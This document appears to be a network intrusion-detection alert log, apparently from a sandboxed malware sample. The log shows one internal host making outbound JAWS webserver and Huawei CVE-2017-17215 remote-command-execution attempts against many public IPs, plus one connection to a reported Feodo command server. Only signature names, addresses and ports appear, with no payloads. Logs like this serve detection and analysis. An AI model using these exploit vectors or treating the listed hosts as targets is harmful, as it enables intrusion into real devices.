ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.15.129

Timestamp:	192.168.2.23156.250.15.12937244372152835222 07/11/22-01:03:48.890460
SID:	2835222
Source Port:	37244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.167.27.164

Timestamp:	192.168.2.23207.167.27.16448830802030092 07/11/22-01:03:31.357542
SID:	2030092
Source Port:	48830
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.220.169.90

Timestamp:	192.168.2.2383.220.169.9039582802030092 07/11/22-01:04:06.282673
SID:	2030092
Source Port:	39582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.46.110.35

Timestamp:	192.168.2.23147.46.110.3543324802030092 07/11/22-01:02:20.128046
SID:	2030092
Source Port:	43324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.221.57.169

Timestamp:	192.168.2.2380.221.57.16933696802030092 07/11/22-01:02:58.077334
SID:	2030092
Source Port:	33696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.115.239

Timestamp:	192.168.2.23156.241.115.23958302372152835222 07/11/22-01:02:38.904659
SID:	2835222
Source Port:	58302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.229.196

Timestamp:	192.168.2.2388.221.229.19650176802030092 07/11/22-01:02:14.732604
SID:	2030092
Source Port:	50176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.133.129.25

Timestamp:	192.168.2.2327.133.129.2546358802030092 07/11/22-01:02:41.499201
SID:	2030092
Source Port:	46358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.23.188

Timestamp:	192.168.2.23156.224.23.18859926372152835222 07/11/22-01:02:54.206017
SID:	2835222
Source Port:	59926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.201.57.149

Timestamp:	192.168.2.2352.201.57.14957528802030092 07/11/22-01:02:38.121659
SID:	2030092
Source Port:	57528
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.194.182.137

Timestamp:	192.168.2.23117.194.182.13759674802030092 07/11/22-01:04:06.642551
SID:	2030092
Source Port:	59674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.109.190.229

Timestamp:	192.168.2.2375.109.190.22933358802030092 07/11/22-01:03:08.999629
SID:	2030092
Source Port:	33358
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 12.151.240.52

Timestamp:	192.168.2.2312.151.240.5246058802030092 07/11/22-01:03:55.386303
SID:	2030092
Source Port:	46058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.65.7.15

Timestamp:	192.168.2.2323.65.7.1542960802030092 07/11/22-01:02:33.586393
SID:	2030092
Source Port:	42960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.92.164.102

Timestamp:	192.168.2.23152.92.164.10237818802030092 07/11/22-01:03:01.517865
SID:	2030092
Source Port:	37818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.209.129.32

Timestamp:	192.168.2.23185.209.129.3253490802030092 07/11/22-01:03:24.311755
SID:	2030092
Source Port:	53490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.126.2.110

Timestamp:	192.168.2.2359.126.2.11033382802030092 07/11/22-01:02:56.460934
SID:	2030092
Source Port:	33382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.50.98.99

Timestamp:	192.168.2.23184.50.98.9936354802030092 07/11/22-01:03:51.256141
SID:	2030092
Source Port:	36354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.28.228

Timestamp:	192.168.2.23156.224.28.22849972372152835222 07/11/22-01:02:19.997855
SID:	2835222
Source Port:	49972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.151.86.113

Timestamp:	192.168.2.2337.151.86.11339710802030092 07/11/22-01:02:14.281788
SID:	2030092
Source Port:	39710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.52.157.130

Timestamp:	192.168.2.23108.52.157.13053460802030092 07/11/22-01:04:05.898241
SID:	2030092
Source Port:	53460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.251.122.60

Timestamp:	192.168.2.2377.251.122.6053712802030092 07/11/22-01:02:58.602815
SID:	2030092
Source Port:	53712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.47.237.126

Timestamp:	192.168.2.2323.47.237.12657796802030092 07/11/22-01:02:16.460331
SID:	2030092
Source Port:	57796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.126.134.48

Timestamp:	192.168.2.2364.126.134.4834598802030092 07/11/22-01:02:23.643590
SID:	2030092
Source Port:	34598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.239.113.100

Timestamp:	192.168.2.23145.239.113.10051312802030092 07/11/22-01:03:53.747235
SID:	2030092
Source Port:	51312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.205.11.168

Timestamp:	192.168.2.2337.205.11.16859220802030092 07/11/22-01:04:08.160357
SID:	2030092
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET CNC Feodo Tracker Reported CnC Server TCP group 22 - Source IP: 192.168.2.23 - Destination IP: 62.210.200.63

Timestamp:	192.168.2.2362.210.200.6331617802404342 07/11/22-01:03:11.352569
SID:	2404342
Source Port:	31617
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.193.246.122

Timestamp:	192.168.2.2354.193.246.12241362802030092 07/11/22-01:03:09.844914
SID:	2030092
Source Port:	41362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.4.32.177

Timestamp:	192.168.2.2369.4.32.17756058802030092 07/11/22-01:03:38.409295
SID:	2030092
Source Port:	56058
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.237.233.122

Timestamp:	192.168.2.23212.237.233.12255556802030092 07/11/22-01:03:30.094594
SID:	2030092
Source Port:	55556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.171.137.88

Timestamp:	192.168.2.23104.171.137.8852948802030092 07/11/22-01:03:03.952665
SID:	2030092
Source Port:	52948
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.122

Timestamp:	192.168.2.23156.254.111.12241278372152835222 07/11/22-01:03:05.103422
SID:	2835222
Source Port:	41278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.46.55

Timestamp:	192.168.2.23156.254.46.5542204372152835222 07/11/22-01:03:15.766004
SID:	2835222
Source Port:	42204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.237.137.48

Timestamp:	192.168.2.23206.237.137.4844368802030092 07/11/22-01:04:01.348777
SID:	2030092
Source Port:	44368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.57.78

Timestamp:	192.168.2.23156.245.57.7854810372152835222 07/11/22-01:02:38.876341
SID:	2835222
Source Port:	54810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.201.219.20

Timestamp:	192.168.2.23183.201.219.2045320802030092 07/11/22-01:03:19.536219
SID:	2030092
Source Port:	45320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.54.255.146

Timestamp:	192.168.2.23185.54.255.14648082802030092 07/11/22-01:03:50.994642
SID:	2030092
Source Port:	48082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.121.185.150

Timestamp:	192.168.2.23160.121.185.15053218802030092 07/11/22-01:04:11.506027
SID:	2030092
Source Port:	53218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.210.210.204

Timestamp:	192.168.2.2313.210.210.20457810802030092 07/11/22-01:03:30.623802
SID:	2030092
Source Port:	57810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.225.250.182

Timestamp:	192.168.2.2323.225.250.18251280802030092 07/11/22-01:03:04.259164
SID:	2030092
Source Port:	51280
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.47.95.179

Timestamp:	192.168.2.2323.47.95.17958884802030092 07/11/22-01:03:39.799752
SID:	2030092
Source Port:	58884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.81.192.34

Timestamp:	192.168.2.23104.81.192.3455840802030092 07/11/22-01:03:43.825101
SID:	2030092
Source Port:	55840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.46.117

Timestamp:	192.168.2.23156.226.46.11733730372152835222 07/11/22-01:02:32.088847
SID:	2835222
Source Port:	33730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.85.1.215

Timestamp:	192.168.2.23185.85.1.21549112802030092 07/11/22-01:03:26.931080
SID:	2030092
Source Port:	49112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.80.213.124

Timestamp:	192.168.2.23154.80.213.12441572802030092 07/11/22-01:03:34.070295
SID:	2030092
Source Port:	41572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.96.124

Timestamp:	192.168.2.23156.235.96.12437562372152835222 07/11/22-01:02:41.999050
SID:	2835222
Source Port:	37562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.110.230.40

Timestamp:	192.168.2.23119.110.230.4060848802030092 07/11/22-01:04:00.968256
SID:	2030092
Source Port:	60848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.161.90.184

Timestamp:	192.168.2.23192.161.90.18454072802030092 07/11/22-01:03:33.240018
SID:	2030092
Source Port:	54072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.198.114.25

Timestamp:	192.168.2.2323.198.114.2541966802030092 07/11/22-01:02:27.725451
SID:	2030092
Source Port:	41966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.195.6.29

Timestamp:	192.168.2.2335.195.6.2952666802030092 07/11/22-01:03:15.084637
SID:	2030092
Source Port:	52666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.47.51.168

Timestamp:	192.168.2.23147.47.51.16841456802030092 07/11/22-01:02:56.528036
SID:	2030092
Source Port:	41456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.122.15

Timestamp:	192.168.2.23156.226.122.1537726372152835222 07/11/22-01:02:50.485181
SID:	2835222
Source Port:	37726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.158.34.177

Timestamp:	192.168.2.2354.158.34.17747640802030092 07/11/22-01:03:57.076860
SID:	2030092
Source Port:	47640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.240.229.34

Timestamp:	192.168.2.2358.240.229.3435402802030092 07/11/22-01:04:11.496173
SID:	2030092
Source Port:	35402
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.90.213.44

Timestamp:	192.168.2.2313.90.213.4440010802030092 07/11/22-01:03:43.501681
SID:	2030092
Source Port:	40010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.60.167

Timestamp:	192.168.2.23156.254.60.16733426372152835222 07/11/22-01:02:35.610976
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.6.187.59

Timestamp:	192.168.2.2323.6.187.5938850802030092 07/11/22-01:03:17.322467
SID:	2030092
Source Port:	38850
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.160.129.77

Timestamp:	192.168.2.23217.160.129.7734672802030092 07/11/22-01:03:44.025498
SID:	2030092
Source Port:	34672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.103.161

Timestamp:	192.168.2.23156.226.103.16150048372152835222 07/11/22-01:04:10.008007
SID:	2835222
Source Port:	50048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.55.222.21

Timestamp:	192.168.2.2346.55.222.2153138802030092 07/11/22-01:04:02.701716
SID:	2030092
Source Port:	53138
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.134.162.63

Timestamp:	192.168.2.23220.134.162.6356150802030092 07/11/22-01:03:27.191555
SID:	2030092
Source Port:	56150
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.241.108.91

Timestamp:	192.168.2.23192.241.108.9147484802030092 07/11/22-01:03:37.273549
SID:	2030092
Source Port:	47484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.253.79.120

Timestamp:	192.168.2.2394.253.79.12056976802030092 07/11/22-01:02:21.026992
SID:	2030092
Source Port:	56976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.179.88.104

Timestamp:	192.168.2.23195.179.88.10445134802030092 07/11/22-01:03:27.092351
SID:	2030092
Source Port:	45134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.152.45.44

Timestamp:	192.168.2.23211.152.45.4438404802030092 07/11/22-01:02:38.901194
SID:	2030092
Source Port:	38404
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.145.188.17

Timestamp:	192.168.2.2389.145.188.1741314802030092 07/11/22-01:03:09.550159
SID:	2030092
Source Port:	41314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.199.88.50

Timestamp:	192.168.2.2388.199.88.5057050802030092 07/11/22-01:04:03.920623
SID:	2030092
Source Port:	57050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.120.113.134

Timestamp:	192.168.2.2359.120.113.13447980802030092 07/11/22-01:03:47.571941
SID:	2030092
Source Port:	47980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.69.162

Timestamp:	192.168.2.23156.241.69.16236360372152835222 07/11/22-01:02:38.798694
SID:	2835222
Source Port:	36360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.26.234

Timestamp:	192.168.2.23156.230.26.23437002372152835222 07/11/22-01:03:09.283108
SID:	2835222
Source Port:	37002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.69.210.217

Timestamp:	192.168.2.23159.69.210.21745804802030092 07/11/22-01:02:38.006036
SID:	2030092
Source Port:	45804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 165.227.124.172

Timestamp:	192.168.2.23165.227.124.17246630802030092 07/11/22-01:03:57.226493
SID:	2030092
Source Port:	46630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.177.125.121

Timestamp:	192.168.2.2318.177.125.12150446802030092 07/11/22-01:03:10.539493
SID:	2030092
Source Port:	50446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.22.184.158

Timestamp:	192.168.2.2352.22.184.15840690802030092 07/11/22-01:03:53.308674
SID:	2030092
Source Port:	40690
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.125.179

Timestamp:	192.168.2.23156.244.125.17937588372152835222 07/11/22-01:04:09.923838
SID:	2835222
Source Port:	37588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.92.204.136

Timestamp:	192.168.2.23164.92.204.13658534802030092 07/11/22-01:03:08.665945
SID:	2030092
Source Port:	58534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.81.64.203

Timestamp:	192.168.2.2361.81.64.20342152802030092 07/11/22-01:04:01.599465
SID:	2030092
Source Port:	42152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.87.213.239

Timestamp:	192.168.2.23172.87.213.23936326802030092 07/11/22-01:03:19.252168
SID:	2030092
Source Port:	36326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.7.95.33

Timestamp:	192.168.2.2381.7.95.3354018802030092 07/11/22-01:03:30.093293
SID:	2030092
Source Port:	54018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.16.116.151

Timestamp:	192.168.2.23160.16.116.15148538802030092 07/11/22-01:04:06.515155
SID:	2030092
Source Port:	48538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.17.216

Timestamp:	192.168.2.23156.230.17.21652978372152835222 07/11/22-01:03:02.528887
SID:	2835222
Source Port:	52978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.54.166.91

Timestamp:	192.168.2.2338.54.166.9148856802030092 07/11/22-01:02:53.928804
SID:	2030092
Source Port:	48856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.186.23.51

Timestamp:	192.168.2.23108.186.23.5136486802030092 07/11/22-01:02:31.633041
SID:	2030092
Source Port:	36486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.212.29.36

Timestamp:	192.168.2.2367.212.29.3658024802030092 07/11/22-01:02:35.314645
SID:	2030092
Source Port:	58024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.183.111.208

Timestamp:	192.168.2.2368.183.111.20849558802030092 07/11/22-01:02:38.763540
SID:	2030092
Source Port:	49558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.25.105.125

Timestamp:	192.168.2.23112.25.105.12555480802030092 07/11/22-01:03:33.494417
SID:	2030092
Source Port:	55480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.132.76.30

Timestamp:	192.168.2.232.132.76.3046756802030092 07/11/22-01:02:15.893519
SID:	2030092
Source Port:	46756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.82.149.18

Timestamp:	192.168.2.2323.82.149.1834348802030092 07/11/22-01:03:50.377204
SID:	2030092
Source Port:	34348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.213.243.120

Timestamp:	192.168.2.23156.213.243.12043378802030092 07/11/22-01:03:33.138088
SID:	2030092
Source Port:	43378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.248.136.5

Timestamp:	192.168.2.2361.248.136.559822802030092 07/11/22-01:04:09.235652
SID:	2030092
Source Port:	59822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.105.88

Timestamp:	192.168.2.23156.240.105.8851180372152835222 07/11/22-01:02:23.904320
SID:	2835222
Source Port:	51180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.96.18.119

Timestamp:	192.168.2.2347.96.18.11940494802030092 07/11/22-01:04:00.770142
SID:	2030092
Source Port:	40494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.140.33.46

Timestamp:	192.168.2.2345.140.33.4650632802030092 07/11/22-01:04:00.647150
SID:	2030092
Source Port:	50632
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.84.158.36

Timestamp:	192.168.2.2335.84.158.3638752802030092 07/11/22-01:02:50.494050
SID:	2030092
Source Port:	38752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.235.139.178

Timestamp:	192.168.2.2323.235.139.17849332802030092 07/11/22-01:03:05.996040
SID:	2030092
Source Port:	49332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.7.78.168

Timestamp:	192.168.2.2369.7.78.16843718802030092 07/11/22-01:04:13.721779
SID:	2030092
Source Port:	43718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

